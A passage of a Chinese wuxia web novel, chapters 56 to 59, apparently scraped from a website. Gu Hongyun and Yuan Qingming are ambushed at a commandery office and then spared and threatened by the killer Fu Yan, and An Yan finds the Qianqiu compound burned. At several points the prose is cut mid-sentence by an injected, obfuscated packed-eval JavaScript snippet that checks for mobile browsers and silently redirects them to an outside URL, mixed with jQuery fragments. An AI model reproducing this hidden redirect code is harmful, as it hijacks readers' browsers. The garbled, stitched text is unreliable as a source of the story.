顾鸿云仍端着那张毫无波动的脸,拿出账册,放在李郡丞面前:“不知李大人,可识得此物?” 李郡丞只拿眼看了看:“顾将军,这是何物?” 顾鸿云身边袁清明接口道:“李大人打开看看,就知道了。” 李郡丞又看了顾鸿云一眼,这才拿起那本账册,翻了几页,他的脸色就黑了。 千秋院的事,他自然没有忘。 他和邢郡守收了多少银子,他当然也记得。 袁清明将他的神色俱看在眼中:“铁证面前,不知李大人,可还有什么话想辩驳?” 李郡丞抬起眼,却是问顾鸿云:“顾将军是想,将此物呈与刑审院?” 顾鸿云平淡道:“此事牵涉甚广,韩侍郎与肖郎中亦在其中,我会将此物,直接交给贺中丞。” 李郡丞静了静。 他却随即勾出一抹笑,一瞬间目光已结了冰:“叛臣之言,何足为信?” 顾鸿云不由得一怔,未及做出反应,就听李郡丞一声高呼,院中金戈振响,竟有数十兵卫,将这间屋子包围了起来! 他这才死死盯着李郡丞,质问:“你要做什么?” 李郡丞冷笑道:“顾将军莫不是明知故问?只要你们死了,所谓证据,也就不复存在了,不是吗?” 顾鸿云双眸深暗,如临重渊:“你竟敢杀朝廷命官?” 李郡丞不屑道:“本官所杀,乃越国叛贼。反正死无对证,这故事不是我想如何说,就如何说?” 顾鸿云还欲再辩,袁清明却拉了他一把,腰间短刀出鞘,双眼已萧瑟如杀:“你还同他说什么废话,外面至少有五十人,我们打不赢,你想死,别带上我!” 顾鸿云眸色愈深,但也知道袁清明所言非虚,暗一咬牙,终于抽出了腰侧同泽剑。 李郡丞笑意凝冰:“当真反了!” 廊下士兵涌入,袁清明眉心一沉,刀风如练,毫不迟疑地划破了一人咽喉。日光之下,鲜血直飞上天,她眼也不眨将刀抽出,又瞬即送进另一人胸口。 连杀两人,终于得一瞬空隙,袁清明抢出门外,然而廊下已有数人迅速围拢过来,几把长刀齐齐斩落,她只得举刀格挡,脚步也被阻了一阻。 若只靠她,其实是无法杀出这重围的。 但身后,忽接连传来几声闷响。 袁清明手中发力,用真气迫得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17308516|193148||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 面前几人退开稍许,这才用余光看见,顾鸿云已经杀了三个人。 袁清明略微一顿,旋即不再顾虑身后,手腕突然一转,足尖发力,刀锋贴着对面长刀倏然一进,抹断了那人喉咙——她也趁机逃脱包围,落在了院子里。 是啊,他既是将军,自然是会杀人的。 院内院外,四面八方,一把把长刀反射着惨白的亮。数十士兵向二人围拢过来,袁清明不再恋战,双足发力,一跃而上院墙,又几个纵跃,踏上房脊,转瞬已在郡衙之外了。 顾鸿云紧随其后。 二人跑出两条街,才在一处僻静的巷子里停住脚步。 没有人追上来。袁清明扶着墙平复了呼吸,拧起眉头看向顾鸿云:“这下倒好,事情没问出来,账本还丢了。现在该怎么办?要不要赶快出城?——我担心再过一个时辰,城门增派人手,想离开就难了。” 顾鸿云却望着地面,秋叶落尽,只虬枝伸出院墙,投下疏落的倒影。他忽然低声:“原来是这样的感觉。” 袁清明不解:“你在说什么?到底要不要赶紧出城?” 顾鸿云这才抬起目光,望了袁清明一眼,那目光却不是平日里的寡淡,而好似泛起了某种痛楚的涟漪。袁清明不禁一怔,他却已移开了视线:“不,今夜,必须再去郡衙。” 袁清明瞬也不瞬地盯着他,穷追不舍:“你刚才说,‘这样的感觉’,是什么?” 顾鸿云静了许久,才终于重复:“原来被人构陷,是这样的感受。” 袁清明于是明白了:“哦——你终于知道,应该相信安姑娘了?” 顾鸿云却犹豫半晌,最终摇了摇头:“成州一案,尚未有定论。” 袁清明忍不住笑出了声:“我就多余问。想也知道,你是个彻底的榆木脑袋。” 顾鸿云没有辩驳,也没有否认,他又再次沉默下来。如果当时,安晏就在苗竹村,那她此刻,是否也正在苍目山附近?墨白现在又在何处呢?谢新柳的标记,早在离开苗竹村后就未见了,她又可否平安? 一时间,脑中闪过许多的念头,秋叶碎落如烬,迷茫竟自心底悄然蔓延出来。 忽然,袁清明的声音清清落落地传进耳中:“今夜你想如何去郡衙?该不会,是偷偷翻墙进去吧?” 顾鸿云回过神,平静地一点头:“是。” 倒是袁清明略略一惊:“真的?这,我本就是个贼,倒也罢了,你,不合适吧?对了,你不是将军吗?虽然我不清楚你到底是多大的将军,你不能先去找郡尉,借几个兵,再与李郡丞对质吗?” 顾鸿云眉心稍顿,似乎袁清明问出了一个极没有常识的问题,但他竟耐心解释道:“我是英武军车骑将军,并无调兵之权,官阶上,也只与郡尉同级。若请圣旨,必然不及,错过今夜,我担心所有证据,都会被销毁。” 袁清明静了静,终于一挑眉:“行,不就是郡衙嘛,正好过去几年,也该练练看家手艺了。” 她其实不知道,英武军车骑将军,究竟是什么官职。 听上去十分威风,可好像远远不能随心所欲。 当官的人,其实也有很多种样子,她早在认识陈俭时就知道了。这个顾鸿云,又似乎与她之前认识的官员都不同,与陈俭,也不同。 57. 送一个见面礼 入夜,顾鸿云与袁清明身披夜色,悄然潜进了郡衙。 阴云拢月,树影昏昏,是隐藏身形的好天气。二人白日已见过郡衙内道路,便沿着墙,悄无声息地走入内院,从后窗翻进了屋子。 他们不敢燃灯,就借火折子微弱的光,在书架上翻找起来。除了被李郡丞拿走的账本,他们也想找一找,郡衙内可有其他账册,里面或许记载着与千秋院相关的证据。 然而,找过两排架子,顾鸿云突然顿住了脚步。 “怎么了?”袁清明低声问。 “袁姑娘,不对。”顾鸿云道,将火折子吹灭了。 “什么不对?”袁清明皱起眉。 “这间院子,”顾鸿云微顿,“太安静了。” 袁清明也顿住了。 她这才意识到,郡衙内外,院落四周,都没有一丁点声响,却不是荒野无人的静谧,而是野兽捕猎前,蛰伏在草丛内的,屏息敛声。 闭上眼,似能闻见,无数暗处的呼吸。 袁清明不由得握紧了刀柄,手心已渗出冷汗:“我们中计了,那李郡丞定是算到我们今夜会来,就在郡衙设下了埋伏。现在怎么办,杀出去,逃走?” 顾鸿云眉心深凝:“唯有如此。” “好。”袁清明也不再多说,二人慢慢向后窗移动——漆黑幽静的夜里,突然间,数十数百道弓弦之声骤然响起! 箭矢如急密骤雨,在瞳孔中迅速放大,袁清明忙一把拽着顾鸿云扑倒在地,劲风从头顶擦过,一排利箭“笃笃笃”钉在了门框上! 二人忙翻身藏在书架后,听得窗外满弓之声,少说也有四五十人。刀剑紧扣在手中,二人却都不敢再妄动了。 屋子内外,安静了一刻钟。 手心渗出细汗,濡湿了刀柄,如此僵持下去,绝非上策,袁清明和顾鸿云心里都清楚,可此时贸然突围,无异于送死,他们只有等,等不知何时会出现的转机。 可是,这世上哪有如此多的转机。 李郡丞终于等得不耐,在院外高声道:“大胆逆贼,郡衙内外已被包围了,我劝你们不要再负隅顽抗,速速投降,可饶你们一死!” “该死的,咱们不能投降,有什么办法逃走吗?”袁清明低声道,回头看了顾鸿云一眼,这一看,却不由得一愣。 月色朦胧,昏暗的室内几难视物,可她却偏偏看见了——顾鸿云肩上,那一道暗色的血口。 “你受了伤?刚才的箭?”袁清明这才注意到空气中漂浮的血腥。 顾鸿云却依旧话音平淡:“无碍。” “真的?”袁清明不信,她小心地转过身子,一只手仍紧握着刀,另一只手却向他肩上探去。 顾鸿云按住了袁清明的手。 他皱起眉,似想开口说什么,院外李郡丞的声音又再次响起:“我给你们最后半柱香时间,如果你们仍要当缩头乌龟,我就一把火,烧了你们的龟壳!” 话音落下,窗外便亮了一亮,仿佛燃起了火光。数十人脚步更近,树影被火光打在窗上,凌乱飘摇,好像是汪洋之中一叶叶身不由己的孤舟。 顾鸿云沉声:“必须杀出去。” 袁清明咬着唇:“杀出去,哪有说得这么容易?如果打不过,你我都要死在这里!” 顾鸿云眸色幽暗:“不走,一样是死。” 袁清明不说话了。 她不由得垂下目光,顾鸿云却站了起来。 她连忙惊讶地随之起身,拉住顾鸿云的衣袖:“你疯了?我们……” 却听他平静地,毫不动摇地开口,仿佛星月尽灭,无风无雪的夜空:“袁姑娘,你离开之后,就去苍目山上,等安姑娘。” “什么?”为什么是她离开?心底的惶恐尚未成型,顾鸿云已从她身侧走过,长剑如凌厉电光,刺进了烈火之中。 “喂!”袁清明一顿,顾不得多想,忙翻身跃出窗外。刀风猎猎,逼开身周士兵,她贴近顾鸿云背后,“你到底在想什么?” “袁姑娘,快走。”同泽剑扫过一人胸口,左肩却也被刀尖刺中。 “那你呢?!” “我来断后。” 袁清明沉默了一瞬,火光映着红衣,仿佛枯枝砖瓦都浸透血色。“我不走!”长刀直向她瞳孔刺来,顾鸿云却突然拽了她一把,刀刃削下她一缕长发,却在他手臂上擦出一串血花,“要走,一起走!” 同泽剑向上扫去,打落一人长刀,然而立时又有七八人围拢过来,顾鸿云退了一步,却仍是挡在袁清明身前。他无法分心开口,剑锋转过刀锋,没入一人心口,又迅速抽出,向右横斩,划过右侧那人咽喉,同时左手以剑鞘作防,拦住左侧两把劈落的刀—— 却终究顾此失彼,腿上被砍中了一刀。 他不由得踉跄一步,背后却有人扶了他一把,那道清亮的声音几乎是出离愤怒了:“你是不是有毛病!这些人都没什么功夫,你我合力,未必一定输!你脑子是不是一根筋!我逃走,你死了,对你有什么好处!” 顾鸿云站稳了身子,重新提起剑。 他辩不赢她,可是她说的,不对。 她分明也受了伤,李郡丞或许早有预谋,请督尉增派了兵力。这些人虽然武功不及他们,却有数十人,他们打得过一个、两个、十个,可是打不赢五十个。 他身上已有数不清的刀口,她的步子也乱了,再不走,就没机会了。 顾鸿云深深呼吸一口,再次挡在了袁清明面前:“袁姑娘,快走。” “我不走!要么一起走!要么一起死!”袁清明挥刀砍中一人手腕,那人长刀落地,她忙收回刀势,格挡住面前另一把刀。重重一击之下,她指尖发抖,竟险些握不稳刀了。 可要她独自逃走,她宁死也不会做。 余光中,她看见了李郡丞的脸,站在月门边,负手冷笑,像在欣赏垂死挣扎的玩偶。 可是,是啊,她不够强。 所有的,所有的一切,如果她足够强,都会变得不同。 目光不由得微微一黯,分了神,本就不稳的短刀竟脱手飞出,袁清明心下大惊,欲折身拾刀,可是刀风已就在耳边—— 就在这光影不明,生死未分的一瞬,空气中却骤然响起了尖锐的风鸣,钝器没入血肉,斩击戛然而止,随即,是接连四声,又四声,身躯倒地的闷响。 满院的风都静止了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17319774|193148||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 袁清明拾起刀,冷汗浸透衣衫,在冬夜显得格外寒冷。顾鸿云体力不支,跪倒在地上,李郡丞和余下士兵似乎俱被什么吓到了,一动不动,却向同一个地方望去。 袁清明便也循着他们的目光,抬起头。 这一望之下,她竟同样无法再移开视线。 房脊上,站着一个人,浓云如墨的冬夜里月色难及,却好像有光勾勒出他的轮廓。他俯瞰着满院的人,从容而冷淡,像一座佛,像一尊魔。 没有人敢发出声音。 目光一一扫过,那个人终于开口了:“李郡丞?” 李郡丞双唇嗫嚅,却未说只言。 “哦,对,那时我还小,你当然不认得我。我的父母,过去这样久,你一定也忘了。”房脊上的人勾起嘴角,像是聊家常一样地,说出了接下来的话,“邢郡守一家已经死了,你的家,也只剩你了。你说你,半夜三更,不在家好好睡觉,跑来郡衙捉什么贼呢?害我要特意来此处杀你,还要因此,多杀这么多人。” 李郡丞早已如坠冰窟,彻骨的寒意令他全身都在发抖。 这个人,是谁? 他的武功是顾鸿云与那红衣姑娘不可比的,方才他站在房脊上,只用暗器,就杀死了八个士兵。郡衙里所有人加在一起,都不是他的对手!他杀了邢郡守,又来杀自己,可到底是为哪一件事?听他话里的意思,他见过他?但他无论如何也想不起何时见过这张脸了——这张,俊美似仙人,却残忍似魔鬼的脸,若他见过,他必不可能忘记—— 这个人,到底是谁? “伏焱……?” 李郡丞却听见了,问题的回答。 听见这个名字,顾鸿云的瞳孔一瞬间放大了,倏然转头,竟是袁清明,她望着房脊上的人,眼中似烧着竟夜的烈火。 “哦?”那人转过视线,望向袁清明,似乎极有兴趣地认真思考了半晌,才又笑起来,“原来是你啊。” 他没有否认。 他是伏焱! 袁清明只见过谢檐长,并未见过伏焱,方才她觉得眼熟,但想不起来究竟在何时见过。想了许久,她却发现这张脸,竟是和墨白相像! 可他不是墨白。这个人的样貌、衣着、神态,她明明都没有见过,可是,她的脑海中却出现了另一张脸,和一个名字。 谢檐长——伏焱。 脑中似有无数个点即将串联成线,这个名字却在大脑理清思绪之前,说出了口。 顾鸿云的手在发抖。 伏焱,竟真的存在。 这一刹那,所有的一切都得到了对应——安晏的形容,墨白,伏焱,苗竹村白姑娘和一对双胞胎。这个人,他绝对做得出,笑着杀死成州二十四户,杀死兴德郡吉祥酒楼数十人,杀死他的妻子和孩子,杀死整个苗竹村。 可是他,他却不敢出剑。 一直在找的人,分明就在眼前。 伏焱的目光却只在袁清明脸上停了瞬息,完全没有留意顾鸿云似的,继而他再次转目向李郡丞望去,白衣如风雪吹拂,他从屋脊上轻盈跃了下来:“本来想看一场戏,不过,既是故人,应该送一个见面礼。我就最后再杀你吧。” 58. 只有一夜 伏焱杀人,是很美的。 干净而利落,没有一分迟钝,也没有一毫犹豫。他穿着纯净如月色的白衣,手中薄刀像一弯冬月的眉,他的脚步轻盈又敏捷,长袖随风翻飞,像在跳一支舞。直到最后,满院只剩下死寂,他却只有袖口和衣摆三两血迹,倒像是皑皑雪原中,优雅盛开的红梅。 从始至终,袁清明都没有出刀。 身后,顾鸿云咬着牙站立起来,用剑撑住他摇摇欲坠的身体。 他也最终,没有出剑。 伏焱转过身,望着他们,微微地笑了。 “知道会输,乖乖放下刀剑,确实是聪明的。”伏焱笑着,刀尖滴着血,“你看,你们比起小大夫,是聪明的。” 袁清明和顾鸿云都不说话,额头淌下汗,却也不敢擦。 他们打不赢,也逃不走,他们的生死,完全掌握在这个恶魔的手中。 “你们知道‘伏焱’这个名字,你们认识小大夫,对不对?”伏焱问,弯起眉眼,好像真的只是在向他们打听熟人的消息一样,“你们知道她在哪里吗?她也会来苍目山吧?” 袁清明咽了一下口水,她觉得她的嗓音已经不像是自己了:“你是说,安姑娘?” 伏焱的眼睛倏忽亮了一亮:“你们该不会,是小大夫的朋友吧?” 他笑起来,火光沾上眼睫,好似扭曲着烧进了眼底,“如果我杀了你们,小大夫会不会杀死我?啊……如果她知道,是我杀了你们,她会露出怎样的表情?”他仿佛沉入了某种美好的想象,“虽然,我杀死了数百人,可他们说到底,和小大夫又有什么关系呢?我怎会忘记了这个道理?”又望向袁清明和顾鸿云,目光像藏着美味的,惑人的毒,“但你们不一样,是不是?” 袁清明不知道该如何开口,双手却不受控地颤抖起来。 她听懂了伏焱的话。 她只见过谢檐长,所以脑海中仍停留着他温文尔雅的模样,但伏焱,才是他真正的样子! 安晏所言非虚,他是一个不折不扣的——魔鬼。 袁清明不答,伏焱看着她,半晌又觉得无趣了。 眸子里火光渐渐安静,像是了无意趣地叹息了一声,“算了。”他想起他不是为了安晏来苍州的,杀完邢郡守和李郡丞,他还有其他事情要做,“你们该死了。” 他抬起了刀。 袁清明知道,她也该举起刀,或者立即转身,不顾一切地逃。可是她,一动也动不了。 蚂蚁在神魔面前,又能逃去何处呢? 伏焱出刀了。 冰冷的风吹扬起如雪的长衣,幽黑的瞳孔映着火光,像是两盏灯沉入了海底。从他到她不过是一刹那的距离,生与死也不过只有一个刹那——这一刹那,虚空却仿佛突然碎裂,一道凌风凝结了寒霜,迎面击在伏焱的薄刀之上! 狂风骤然,树影凌乱,袁清明与顾鸿云受那真气一撞,俱跌坐在了地上。 伏焱眉心一凛,向后退了一步,抬起头。 院墙上不知何时,立了两个人。 一位身着蓝衣,手中一把出鞘的剑,清白似雪的剑气包裹着剑刃,又轻缓绵长地在她周身蔓延开来。另一位却是乌衣黑发,右手衣袖空空如也,随风飘展,像是幽冥路上招魂的幡帛。 伏焱勾起了嘴角。 清冷的嗓音混着笑,眸色幽暗如危险的深渊:“许楼主。” 许翎竹没有回应,也没有任何表情。 伏焱又向后退了两步,随即,他将刀收回袖中,身形飘纵,越过院墙,消失在了沉默的黑夜里。 伏焱的气息彻底远了,许翎竹也收起剑,她自始至终未看袁清明与顾鸿云一眼,转身跃下,便也就此融进了长夜。 唐璃跟在她身后。 ———————————— 郡衙只剩一地血腥。 袁清明仿佛直到此时,才终于可以呼吸了。 转过头,顾鸿云脸上惊惧混着茫然,她想,她的样子一定也狼狈极了。这“许楼主”是何人,她不知晓,但连伏焱都要退避三舍,她一定不是凡人。 又坐在地上缓和稍许,袁清明才长长吐了口气,对顾鸿云道:“无论如何,我们得救了。” 顾鸿云目光微闪,看向袁清明,却没有开口。 袁清明站起来,双腿还有些发颤,伤口处的血凝固了,又结了冰,比起疼痛,倒好像更冷一些。她环视四周,满院尸身令她想起了苍目山上的墓地,她不由得苦笑:“怎么办?这些尸体,是不是得赶在天亮前处理干净?明早百姓上街,这血腥味可是浓得隔着几重院墙都能闻见。但整个郡衙,恐怕已经连处理尸体的人都不剩了。郡丞死了,郡守也死了,苍源郡该怎么办?” 顾鸿云垂下眼睫,话音已清淡:“我会暂时接管郡衙。” “你?”袁清明一怔,“这是什么规矩?你不是将军吗?”他应该更擅长行军作战,不熟悉治理郡城吧?——但袁清明顾着他几分面子,没有说。 顾鸿云也起身,将同泽剑收回剑鞘:“只是新郡守上任前,权宜之计。”顿了顿,“再者,我们这一段时日需要养伤,也需留在此处,查清千秋院之事。” “那确实应该再留几日,我们在郡衙仔细翻翻,说不定有李郡丞藏起来的关键线索。”袁清明点点头,又担心地看着顾鸿云,“你这伤口,需要包扎一下,要不今夜,就先不管这些尸首了?” 顾鸿云一脚深一脚浅地向外走:“去告知马长史。” 这一路至今,都是他错了。 安晏也会来苍目山吗?他无法回答伏焱,但他希望她会来。 ———————————— 苍目山一如既往地寂静,天色将曙,初雪纷落。伏焱独自走上山顶,朔风鼓满袍袖,白衣不沾片尘,他便成为了破晓之前,长夜里唯一的月色。 最后,脚步停在了千秋院正中。 去杀邢郡守和李郡丞只是顺路,苍目山,才是他此行的终点。 他缓慢地将目光从每一座楼阁上浮过,仿佛带着某种古老而深刻的怀念,又仿佛只在审视府后的花园。许久,他再一次笑起来。 幽静微凉,如溪上的浮冰。 “我回来了。”他说,“欢迎回来。” “再见。” ———————————— 今冬的初雪,竟下了整整一夜,天明日升,落雪已在田垄间积了厚厚一层。 这是丰年的好兆头。 农户们欢愉欣喜,张罗着收窖雪水,以备浸种生芽,因而没有人留意——山顶上似有似无的烟气,和火光。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17329620|193148||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > ———————————— 仿佛睡了漫长的一夜,墨白终于睁开双眼。 他不在苍目山上,而是在一间客栈中,才下过雪的天空清澈如洗,窗沿落雪反射着耀眼的日光——他蹙起眉心,翻身坐起,屋外一人听得响动,走入内室,是高言雀。 “墨公子。”高言雀恭敬道,“您醒了。” 想来,是高言雀从山顶带走了他。墨白静静抬眼:“我睡了几日?” “只有一夜。” 墨白走下床,自架上取了衣服。只有一夜,但这一夜,他却没有做梦。 他沉默地穿衣束发,高言雀亦沉默地侍立在一旁,待他将青玉簪子插入发冠,才终于再度启口:“还有其他事,需要我知晓吗?” “没有了。”高言雀回道,静了静,却又略微踟蹰地开口,“墨公子,您的脸色……不太好。是否需要属下,去请大夫来看一看?” 积雪映着天光,衬得他脸颊更加苍白,头痛虽不似昨夜猛烈,但仿佛有阴云裹着山峦压在头脑中,将雨未雨时分,呼吸都闷浊混沌。 可是城中,有大夫能治好他的病吗? 头痛的病,相思的病,整个天下,也只有一个人能解罢了。 他理所应当地拒绝了:“不必。” 高言雀于是不再说了,墨白穿戴后离开客栈,他像往日一样,远远地坠在他身后。 ———————————— 墨白回到了苍目山。 可苍目山已面目全非。 仅仅过去一夜,整座千秋院,只剩下废墟。 地上仍有散落燃烧的火,房屋楼阁都已焦黑倾颓。纵火的人似乎很仔细地确认了所有痕迹都被烧得彻底,就连那棵红梅树也断在雪中,只余下灰烬。 墨白安静地站在院子里,心口仿佛生出某种隐没的痛楚,又仿佛是无法握住的错觉。 纵火之人,是伏焱吗? 如果昨夜他守在山顶,是不是就能见到那个纵火的人,是不是就能阻止这场大火? 可是千秋院已然付之一炬,这些问题的答案,似乎也不是那么重要了。落雪昭示着冬日,安晏还有多久,才能到呢?若山上已经什么都不剩,再下一步,他们该去哪里?——她还愿意,带他一起走吗? ———————————— “阁主,门外有人求见。” 麒麟阁内,炭火温暖,隔绝了初冬的冷。汪褚时正在案前审阅文书,忽听门外一个弟子禀报。 “是什么人?可有名帖?”他问。 门外弟子回道:“并无名帖,他未报姓名,只说想与您合作。” 汪褚时想了想,又问:“他一个人?他没有再说其他事了?” “倒不是一人,他身边带着一个姑娘,似乎,是先前来找墨总管的那位,但当时墨总管将她赶了出去。属下因此想着,他二人或许是来麒麟阁生事的……” 话未说完,眼前房门突然被打开,那弟子骇了一跳,忙后退一步,躬下身子,“阁主,属下这就将他们赶走……” “请他们进来吧。”汪褚时平声打断道。 那弟子怔了一怔,但不敢多问,应了声是,就匆匆离开了。 来人正是徐戾,他身边的姑娘,自然就是谢新柳。 59. 所有人都消失了 引路弟子不由得多看了谢新柳几眼,她的样貌和先前并无区别,但今次腰间却佩了刀,脚步也更加沉稳,呼吸更加深长,是身怀内力者才有的样子。旁边那刀客神色更是坚硬冷漠,目不斜视,引路弟子暗想,他们该不会,真的是来生事吧? 汪褚时却未留弟子侍从,上过茶,只将这两位客人留在了房中。 “二位请坐。”汪褚时示意二人落座,“二位似乎,与墨相识?” “墨公子并不认识我,这位谢姑娘,倒与他算是旧识。”徐戾道,斜斜勾起嘴角,“但我二人今日前来拜见,却与墨公子无关。” 汪褚时微一点头:“我听弟子说,你们想与我,合作?” “不错。” “所为何事?” “我知道,你在寻找伏焱,和血祭剑法。” 汪褚时目光一闪,像是阳光落进深潭,眨眼间消失无迹:“你知道他们所在何处?” 徐戾笑笑:“不错。” 汪褚时一瞬不瞬地盯着他:“你愿意帮我,找到他们?” 徐戾仍是笑,却不答反问:“还请问汪阁主寻找伏焱,究竟有何目的?” 汪褚时亦没有回答:“我如何信你?” 徐戾不为所动:“汪阁主不必信我。” 汪褚时沉默了。 如今,伏焱与许翎竹皆不知所踪,面前这人,却说他知晓他们的下落。他不相信这个人,但他手中已经没有更多线索,姜城乌和墨能否找到许翎竹和伏焱,亦未尝可知,他或许应该赌一把。可是面前这人,为何愿意帮助麒麟阁,帮助他? “那么,你想要什么?” 汪褚时的提问在他意料之中,徐戾仍笑了笑,重复道:“还请汪阁主先告知,寻找伏焱,究竟有何目的?” 看来,不得到这个问题的答案,他们之间的交易,就无法继续了。 汪褚时深深呼吸了一下,才终于凝声道:“伏焱武功才学,当世无人可及,我只是希望推举他成为武林盟主,如此,一可壮大麒麟阁声势,二可统领江湖各派,以防二十五年前,妖剑乱世那样的事情再次发生。我虽然确有私心,但亦是,为江湖安宁谋划。” 徐戾静了静。 妖剑乱世,他自然知晓,他和伏焱,不就是因此才被锁在了明思院吗?可笑江湖人总是在做掌控一切的美梦,六年前,明思院被伏焱烧成了灰烬,美梦亦化作泡影,怎么又过了六年,竟还有人惦记着,让伏焱做武林盟主的事? 但——他好像也没有立场,嘲笑汪褚时。 伏焱不可能受任何人掌控,但亦没有任何人,比伏焱更有资格,坐上武林盟主之位。 他幽深地望着汪褚时:“那么,墨公子呢?如果我没有记错,墨公子是你的义子,你却不将武林盟主之位给他?难道,你打算杀死墨公子吗?” 话音甫落,谢新柳不由得微微一抖,她攥紧了袖边,终究没有开口。 汪褚时望了谢新柳一眼,沉声道:“我自然不会杀墨,只是,伏焱武功才学,的确在墨之上。你既然知道我在寻找血祭剑法……这套剑法,我会交给墨。” 徐戾明白了:“你想以血祭剑法——你想让墨公子,来牵制伏焱?” 都是聪明人,汪褚时也无需遮掩,便轻轻颔首:“不错。” 徐戾又笑起来:“好。”眸子深处似亮出尖锐的明光,“我会找到伏焱,我会请他,再到麒麟阁来见你。我也可以,帮你杀了碍事的人。” “再”?汪褚时觉得徐戾这句话似有些微妙的不协调,但他终究没有在细节上过多纠缠。对方答应得干脆,他也应该给出同等的筹码:“你愿意与麒麟阁合作,可需要麒麟阁为你做什么?” 徐戾却噙着笑,轻轻摇头,语意仿佛一时间杳渺:“麒麟阁不需要为我做什么,麒麟阁只需要不遗余力,将伏焱推上江湖盟主之位——那就是我要的东西了。” 汪褚时不言,只目色愈加深邃。 他好像能够懂他。 然而徐戾停了停,又忽然一笑:“哦,对了,如果汪阁主想支付一些报酬,不如事成之后,让墨公子迎娶谢姑娘为妻,如何?” 汪褚时循着徐戾的手,看向他身旁的少女。谢新柳飞快地掠了他与徐戾一眼,似有些惊讶,但很快便再次垂下目光,仍旧只字未言。 他不知道她与墨的关系,但是无关紧要。 他知道墨心意所属,是那位安姑娘,但也已经无关紧要了。 于是他深深地一点头:“好,我答应你们。麒麟阁暗部与线部,我也可借你一用,寻找伏焱之事,就全权交托你了。” 汪褚时从座上走下,向徐戾浅浅一揖,徐戾却未起身,只抬起头,一瞬不瞬地望进汪褚时眼底:“我叫徐戾。”目色如清寒的雪,“墨公子是伏焱的弟弟,对吗?” 汪褚时下意识地僵住。 可他最后,仍点了头:“是。” 面前这个人,究竟是从何而来? 墨是伏焱的弟弟,本该没有任何人知晓,就连墨,他也从未告知他这个真相。 他不想让任何人,窥见这个真相背后,更多的故事和过往。 可是,他竟不敢否认。 这个叫徐戾的人,他的问题不是询问,只是在验证,他会不会说谎。 ———————————— 安晏赶到苍目山脚时,冬月已经过半。 一场大雪刚刚落尽,莹白雪色覆满青砖灰瓦,仿佛将喧嚣和纷乱都包裹了起来。马蹄踏着积雪进了城,安晏决定先找间客栈休息一夜,明早再前往山顶。 折返南疆,当真花了她太久时间。 山上究竟有什么,她不知晓,但如果伏焱在,她必须养足精神,才能——杀死他。 安山县城不大,客栈也仅有一家,安晏将马匹交给店小二,在客栈内找了一张桌子坐下,饭菜还未端来,她就听见了邻桌食客的议论。 一人说:“山上那些房子,真的都烧没了?” 另一人道:“我又没亲眼见过,你若不信,去村里问问王家大哥,说是他那日在山上打猎,看见了火。” 先前那人摆摆手:“这天寒地冻的,不去了。我就是奇怪,不是说山上几十年都没有人去吗?为何突然就,烧了?” 另一人摇头道:“谁知道,江湖上的事情可说不好。当年山上住了百余人,不也是一夜之间,所有人都消失了吗?” 先前那人若有所思地点了点头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17336861|193148||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“这话在理,便是再早些年,那个什么楼,那个称霸天下的门派,也是一夜之间,就从江湖中消失了。” “栖归楼。”另一人叹息一声,“江湖百余年,那几大门派,就只有飞春阁至今仍在了。” 二人就着飞春阁,转而说起花楼轶事,安晏没有再听,眉心却深深蹙了起来。山上房屋被烧毁,这是怎么回事? 是——伏焱所为吗? 她很想细问,又担心暴露行迹,最终还是耐住了。 明日,早一些出发吧。 ———————————— 次日寅时,安晏离开了客栈,山道积雪颇厚,行路不便,过了辰时,她终于走出林野,山顶屋阁院落焦黑的残骸,映入她视线。 她顿住了脚。 积雪光洁完整,没有一个脚印,山风空寂拂过,吹得她心底发凉。 门窗梁柱都烧得彻底,没有留下一张纸,一块布。这是伏焱所为,安晏一瞬间就能够确定,只有他,能将与他有关的一切,都如此干净利落,毫无留恋地抹杀。 她终究晚了一步。 她在千秋院的废墟上找了一块地方坐下,开始思索接下来该何去何从。 苗竹村的线索断了,千秋院的线索也断了,伏焱明明故意让她打听到了苗竹村的往事,却又不给她留下一点千秋院的线索。他究竟在想什么?他究竟想要什么?三年来,她追着他的脚步,几乎走遍了越国南北,可是终究,也没能看懂他。 